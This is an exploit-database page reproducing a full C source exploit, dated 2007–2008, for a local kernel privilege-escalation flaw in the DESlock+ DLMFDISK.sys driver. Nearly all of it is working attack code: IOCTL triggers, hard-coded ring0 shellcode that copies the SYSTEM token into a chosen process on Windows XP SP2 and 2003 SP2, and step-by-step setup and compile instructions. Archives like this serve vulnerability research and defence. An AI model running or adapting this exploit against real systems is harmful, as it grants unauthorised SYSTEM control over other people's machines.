Lucene search
K

DESlock+ <= 3.2.6 DLMFDISK.sys local kernel ring0 SYSTEM Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

DESlock+ <= 3.2.6 DLMFDISK.sys local kernel ring0 SYSTEM Exploit by mu-b 26 Dec 2007. Tested on: DLMFDISK.sys 1.2.0.27, Windows 2003 SP2, Windows XP SP2. Compile: MinGW + -lntdll. Mount filesystem "XXXAAAA.mnt" on "?:\" and run deslock-pown-v2 for SYSTEM

Code

                                                /* deslock-pown-v2.c
 *
 * Copyright (c) 2008 by &#60;[email protected]&#62;
 *
 * DESlock+ &#60;= 3.2.6 local kernel ring0 SYSTEM exploit
 * by mu-b - Wed 26 Dec 2007
 *
 * - Tested on: DLMFDISK.sys 1.2.0.27
 *              - Microsoft Windows 2003 SP2
 *              - Microsoft Windows XP SP2
 *
 * Note: create a mountable filesystem (size/password is irrelevant),
 * name the pseudo-filesystem &#34;XXXAAAA.mnt&#34; and copy to &#34;?:\&#34;,
 * finally mount the pseudo-filesystem and ./deslock-pown-v2 for SYSTEM.
 *
 * Compile: MinGW + -lntdll
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;

#include &#60;windows.h&#62;
#include &#60;ddk/ntapi.h&#62;

#define DLKFDISK_IOCTL    0x80002024
#define DLKFDISK_R_IOCTL  0x80002010
#define DLKFDISK_SLOT     0x00000C5A
#define DLKFDISK_OFFSET   0x0D
#define DLKFDISK_DISK_MAX 0x1A

static unsigned char win32_fixup[] =
  &#34;\x53&#34;
  &#34;\xeb\x0e&#34;
  /* _fixup_copy  */
  &#34;\x5e&#34;
  &#34;\xbf\x5c\x0c\x00\x00&#34;
  &#34;\x31\xc9&#34;
  &#34;\xb1\x05&#34;
  &#34;\xf3\xa5&#34;
  &#34;\xeb\x19&#34;
  /* _fixup_blk   */
  &#34;\xe8\xed\xff\xff\xff&#34;
  &#34;\x64\x0a\x00\x00&#34;
  &#34;\xd3\x0a\x00\x00&#34;
  &#34;\x2a\x0a\x00\x00&#34;
  &#34;\x49\x0a\x00\x00&#34;
  &#34;\x68\x0b\x00\x00&#34;;

/* Win2k3 SP1/2 - kernel EPROCESS token switcher
 * by mu-b &#60;[email protected]&#62;
 */
static unsigned char win2k3_ring0_shell[] =
  /* _ring0 */
  &#34;\xb8\x24\xf1\xdf\xff&#34;
  &#34;\x8b\x00&#34;
  &#34;\x8b\xb0\x18\x02\x00\x00&#34;
  &#34;\x89\xf0&#34;
  /* _sys_eprocess_loop   */
  &#34;\x8b\x98\x94\x00\x00\x00&#34;
  &#34;\x81\xfb\x04\x00\x00\x00&#34;
  &#34;\x74\x11&#34;
  &#34;\x8b\x80\x9c\x00\x00\x00&#34;
  &#34;\x2d\x98\x00\x00\x00&#34;
  &#34;\x39\xf0&#34;
  &#34;\x75\xe3&#34;
  &#34;\xeb\x21&#34;
  /* _sys_eprocess_found  */
  &#34;\x89\xc1&#34;
  &#34;\x89\xf0&#34;

  /* _cmd_eprocess_loop   */
  &#34;\x8b\x98\x94\x00\x00\x00&#34;
  &#34;\x81\xfb\x00\x00\x00\x00&#34;
  &#34;\x74\x10&#34;
  &#34;\x8b\x80\x9c\x00\x00\x00&#34;
  &#34;\x2d\x98\x00\x00\x00&#34;
  &#34;\x39\xf0&#34;
  &#34;\x75\xe3&#34;
  /* _not_found           */
  &#34;\xcc&#34;
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  &#34;\x8b\x89\xd8\x00\x00\x00&#34;
  &#34;\x89\x88\xd8\x00\x00\x00&#34;
  &#34;\x90&#34;;

static unsigned char winxp_ring0_shell[] =
  /* _ring0 */
  &#34;\xb8\x24\xf1\xdf\xff&#34;
  &#34;\x8b\x00&#34;
  &#34;\x8b\x70\x44&#34;
  &#34;\x89\xf0&#34;
  /* _sys_eprocess_loop   */
  &#34;\x8b\x98\x84\x00\x00\x00&#34;
  &#34;\x81\xfb\x04\x00\x00\x00&#34;
  &#34;\x74\x11&#34;
  &#34;\x8b\x80\x8c\x00\x00\x00&#34;
  &#34;\x2d\x88\x00\x00\x00&#34;
  &#34;\x39\xf0&#34;
  &#34;\x75\xe3&#34;
  &#34;\xeb\x21&#34;
  /* _sys_eprocess_found  */
  &#34;\x89\xc1&#34;
  &#34;\x89\xf0&#34;

  /* _cmd_eprocess_loop   */
  &#34;\x8b\x98\x84\x00\x00\x00&#34;
  &#34;\x81\xfb\x00\x00\x00\x00&#34;
  &#34;\x74\x10&#34;
  &#34;\x8b\x80\x8c\x00\x00\x00&#34;
  &#34;\x2d\x88\x00\x00\x00&#34;
  &#34;\x39\xf0&#34;
  &#34;\x75\xe3&#34;
  /* _not_found           */
  &#34;\xcc&#34;
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  &#34;\x8b\x89\xc8\x00\x00\x00&#34;
  &#34;\x89\x88\xc8\x00\x00\x00&#34;
  &#34;\x90&#34;;

static unsigned char win32_ret[] =
  &#34;\x5b&#34;
  &#34;\x31\xff&#34;
  &#34;\xb8\xdc\x0b\x00\x00&#34;
  &#34;\xff\xe0&#34;
  &#34;\xcc&#34;;

struct ioctl_req {
  void *arg[20];
};

static PCHAR
fixup_ring0_shell (PVOID base, DWORD ppid, DWORD *zlen)
{
  DWORD dwVersion, dwMajorVersion, dwMinorVersion;

  dwVersion = GetVersion ();
  dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion)));
  dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion)));

  if (dwMajorVersion != 5)
    {
      fprintf (stderr, &#34;* GetVersion, unsupported version\n&#34;);
      exit (EXIT_FAILURE);
    }

  *(PDWORD) &win32_fixup[5]  += (DWORD) base;
  *(PDWORD) &win32_fixup[22] += (DWORD) base;
  *(PDWORD) &win32_fixup[26] += (DWORD) base;
  *(PDWORD) &win32_fixup[30] += (DWORD) base;
  *(PDWORD) &win32_fixup[34] += (DWORD) base;
  *(PDWORD) &win32_fixup[38] += (DWORD) base;

  *(PDWORD) &win32_ret[4] += (DWORD) base;

  switch (dwMinorVersion)
    {
      case 1:
        *zlen = sizeof winxp_ring0_shell - 1;
        *(PDWORD) &winxp_ring0_shell[55] = ppid;
        return (winxp_ring0_shell);

      case 2:
        *zlen = sizeof win2k3_ring0_shell - 1;
        *(PDWORD) &win2k3_ring0_shell[58] = ppid;
        return (win2k3_ring0_shell);

      default:
        fprintf (stderr, &#34;* GetVersion, unsupported version\n&#34;);
        exit (EXIT_FAILURE);
    }

  return (NULL);
}

static PVOID
get_module_base (void)
{
  PSYSTEM_MODULE_INFORMATION_ENTRY pModuleBase;
  PSYSTEM_MODULE_INFORMATION pModuleInfo;
  DWORD i, num_modules, status, rlen;
  PVOID result;

  status = NtQuerySystemInformation (SystemModuleInformation, NULL, 0, &rlen);
  if (status != STATUS_INFO_LENGTH_MISMATCH)
    {
      fprintf (stderr, &#34;* NtQuerySystemInformation failed, 0x%08X\n&#34;, status);
      exit (EXIT_FAILURE);
    }

  pModuleInfo = (PSYSTEM_MODULE_INFORMATION) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, rlen);

  status = NtQuerySystemInformation (SystemModuleInformation, pModuleInfo, rlen, &rlen);
  if (status != STATUS_SUCCESS)
    {
      fprintf (stderr, &#34;* NtQuerySystemInformation failed, 0x%08X\n&#34;, status);
      exit (EXIT_FAILURE);
    }

  num_modules = pModuleInfo-&#62;Count;
  pModuleBase = &pModuleInfo-&#62;Module[0];
  result = NULL;

  for (i = 0; i &#60; num_modules; i++, pModuleBase++)
    if (strstr (pModuleBase-&#62;ImageName, &#34;dlkfdisk.sys&#34;))
      {
        result = pModuleBase-&#62;Base;
        break;
      }

  HeapFree (GetProcessHeap (), HEAP_NO_SERIALIZE, pModuleInfo);

  return (result);
}

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  DWORD disk_no, i, rlen, zlen, ppid;
  CHAR rbuf[64], sbuf[512];
  LPVOID zpage, zbuf, base;
  HANDLE hFile;
  BOOL result;

  printf (&#34;DESlock+ &#60;= 3.2.6 local kernel ring0 SYSTEM exploit\n&#34;
          &#34;by: &#60;[email protected]&#62;\n&#34;
          &#34;http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n&#34;);

  if (argc &#60;= 1)
    {
      fprintf (stderr, &#34;Usage: %s &#60;processid to elevate&#62;\n&#34;, argv[0]);
      exit (EXIT_SUCCESS);
    }

  ppid = atoi (argv[1]);

  hFile = CreateFileA (&#34;\\\\.\\DLKFDisk_Control&#34;, FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, &#34;* CreateFileA failed, %d\n&#34;, hFile);
      exit (EXIT_FAILURE);
    }

  for (i = 0; i &#60; DLKFDISK_DISK_MAX; i++)
    {
      memset (&req, 0, sizeof req);
      req.arg[0] = (void *) 0xDEADBEEF;
      req.arg[1] = (void *) 0xDEADBEEF;
      req.arg[2] = (void *) 0xDEADBEEF;
      req.arg[3] = (void *) i;            /* drive number   */
      req.arg[4] = (void *) sizeof sbuf;  /* buffer size    */
      req.arg[5] = (void *) sbuf;         /* buffer pointer */

      result = DeviceIoControl (hFile, DLKFDISK_IOCTL,
                                &req, sizeof req, rbuf, sizeof rbuf, &rlen, 0);
      if (!result)
        {
          fprintf (stderr, &#34;* DeviceIoControl failed\n&#34;);
          exit (EXIT_FAILURE);
        }

      if (strlen (sbuf + DLKFDISK_OFFSET - 1) &#62; 6 &&
          strcmp (sbuf + DLKFDISK_OFFSET - 1 + 6, &#34;:\\XXXAAAA.mnt&#34;) == 0)
        {
          disk_no = i;
          break;
        }
    }
  printf (&#34;* write buf: \&#34;%s\&#34;\n&#34;, &sbuf[DLKFDISK_OFFSET - 1]);

  zpage = VirtualAlloc ((LPVOID) 0x41410000, 0x10000,
                        MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (zpage == NULL)
    {
      fprintf (stderr, &#34;* VirtualAlloc failed\n&#34;);
      exit (EXIT_FAILURE);
    }
  printf (&#34;* allocated page: 0x%08X [%d-bytes]\n&#34;,
          zpage, 0x10000);

  base = get_module_base ();
  if (base == NULL)
    {
      fprintf (stderr, &#34;* unable to find dlkfdisk.sys base\n&#34;);
      exit (EXIT_FAILURE);
    }
  printf (&#34;* dlkfdisk.sys base: 0x%08X\n&#34;, base);

  memset (zpage, 0xCC, 0x10000);
  zbuf = fixup_ring0_shell (base, ppid, &zlen);
  memcpy ((LPVOID) 0x41414141, win32_fixup, sizeof (win32_fixup) - 1);
  memcpy ((LPVOID) (0x41414141 + sizeof (win32_fixup) - 1), zbuf, zlen);
  memcpy ((LPVOID) (0x41414141 + sizeof (win32_fixup) + zlen - 1),
          win32_ret, sizeof (win32_ret) - 1);

  memset (&req, 0, sizeof req);
  req.arg[0] = (void *) 0xDEADBEEF;
  req.arg[1] = (void *) 0xDEADBEEF;
  req.arg[2] = (void *) 0xDEADBEEF;
  req.arg[3] = (void *) disk_no;                                    /* drive number   */
  req.arg[4] = (void *) 512;                                        /* buffer size    */
  req.arg[5] = (void *) (base + DLKFDISK_SLOT - DLKFDISK_OFFSET);   /* buffer pointer */

  printf (&#34;* overwriting [@0x%08X %d-bytes].. &#34;,
          base + DLKFDISK_SLOT, strlen (sbuf + DLKFDISK_OFFSET - 1) + 1);
  result = DeviceIoControl (hFile, DLKFDISK_IOCTL,
                            &req, sizeof req, rbuf, sizeof rbuf, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, &#34;DeviceIoControl failed\n&#34;);
      exit (EXIT_FAILURE);
    }
  printf (&#34;done\n&#34;);

  /* jump to our address :) */
  printf (&#34;* jumping.. &#34;);
  result = DeviceIoControl (hFile, DLKFDISK_R_IOCTL,
                            &req, sizeof req, rbuf, sizeof rbuf, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, &#34;DeviceIoControl failed\n&#34;);
      exit (EXIT_FAILURE);
    }
  printf (&#34;done\n\n&#34;
          &#34;* hmmm, you didn&#39;t STOP the box?!?!\n&#34;);

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2008-02-18]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation